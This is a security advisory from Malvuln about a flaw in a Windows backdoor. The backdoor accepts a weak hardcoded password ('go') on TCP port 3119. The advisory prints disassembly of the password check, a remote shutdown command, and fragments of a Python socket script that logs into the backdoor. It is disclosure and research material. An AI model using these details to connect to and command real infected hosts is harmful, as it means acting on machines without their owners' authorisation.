Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/5ff832ce6af4b03a709eaf380672cf34.txt
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 3119 and authentication is required. However, the password "go" is weak and hardcoded in the PE file. The malware uses "lstrcmpa" Win32 API to check the password, when sending the password we need to be careful that there is no line feed "\n" E.g. "go\n", as what happens when sent using ncat or telnet causing authentication to fail.
00401317 jz loc_401218
0040131D push offset aGo ; "go"
00401322 push offset buf ; lpString1
00401327 call lstrcmpA
0040131D | 68 7C 40 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b | 40407C "go"
00401322 | 68 8C 46 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b |
00401327 | E8 F4 0C 00 00 | call <backdoor.win32.dra.c.5ff832ce6af4 |
0040132C | 83 F8 00 | cmp eax,0 |
0040132F | 74 2C | je backdoor.win32.dra.c.5ff832ce6af4b03 |
00401331 | 6A 00 | push 0 |
00401333 | 6A 11 | push 11 |
00401335 | 68 11 4C 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b | 404C11 "invalid password."
0040133A | FF 35 16 4B 40 00 | push dword ptr ds:[404B16] |
00401340 | E8 53 0D 00 00 | call <backdoor.win32.dra.c.5ff832ce6af4 |
00401345 | 83 F8 FF | cmp eax,FFFFFFFF |
Vuln ID: MVID-2022-0470
Using ncat, telnet will fail as it sends a new line "\n", so we use a makeshift Python agent.
Sending the command "Run z\r\n" will initiate a shutdown of the infected host.
from socket import *
res += s.recv(512)
if "Connected :-) !" in res or "invalid password" in res:
#initiates a shutdown of the infected machine
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